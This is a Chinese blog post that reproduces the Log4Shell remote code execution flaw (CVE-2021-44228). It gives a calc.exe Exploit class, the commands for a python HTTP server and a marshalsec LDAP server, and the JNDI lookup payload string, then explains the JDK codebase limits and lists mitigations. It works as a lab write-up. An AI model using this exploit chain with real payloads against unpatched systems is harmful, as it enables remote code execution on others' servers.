Log4J2远程代码执行漏洞复现(CVE-2021-44228)

Log4J远程代码执行漏洞复现(CVE-2021-44228)

受影响版本log4j版本:2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1

受影响的应用及组件:Apache Solr、Apache Struts2、Apache Flink、Apache Druid、spring-boot-strater-log4j2、ElasticSearch、Apache Flume、Dubbo、Redis、Logstash、Apache Kafka等

复现环境:java version “1.8.0_311” 、log4j-2.14.1、marshalsec-0.0.3-SNAPSHOT-all.jar

  1. Exploit.java
public class Exploit {
    public Exploit(){
        try{
            String[] commands = {"cmd.exe","/c","calc.exe"};
            Process pc = Runtime.getRuntime().exec(commands);
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv) {
        Exploit e = new Exploit();
    }
}
  1. Exploit.class开启http服务
python3 -m http.server 8080
  1. marshalsec 开启ldap服务 项目地址:https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Exploit"

由于本次使用的jdk版本为 8u311默认将 com.sun.jndi.ldap.object.trustURLCodebase 设置为 false

JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

  1. Log4jRce.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jRce {
    private static final Logger logger = LogManager.getLogger(Log4jRce.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");//JDK开启远程调用
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
    }
}

复现截图

在这里插入图片描述

漏洞修复

  1. 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true

  2. 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

  3. JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

添加log4j2.component.properties配置文件

  1. JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

添加log4j2.component.properties配置文件

在这里插入图片描述

仅用于学习交流,不得用于非法用途
如侵权请私聊博主删文

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值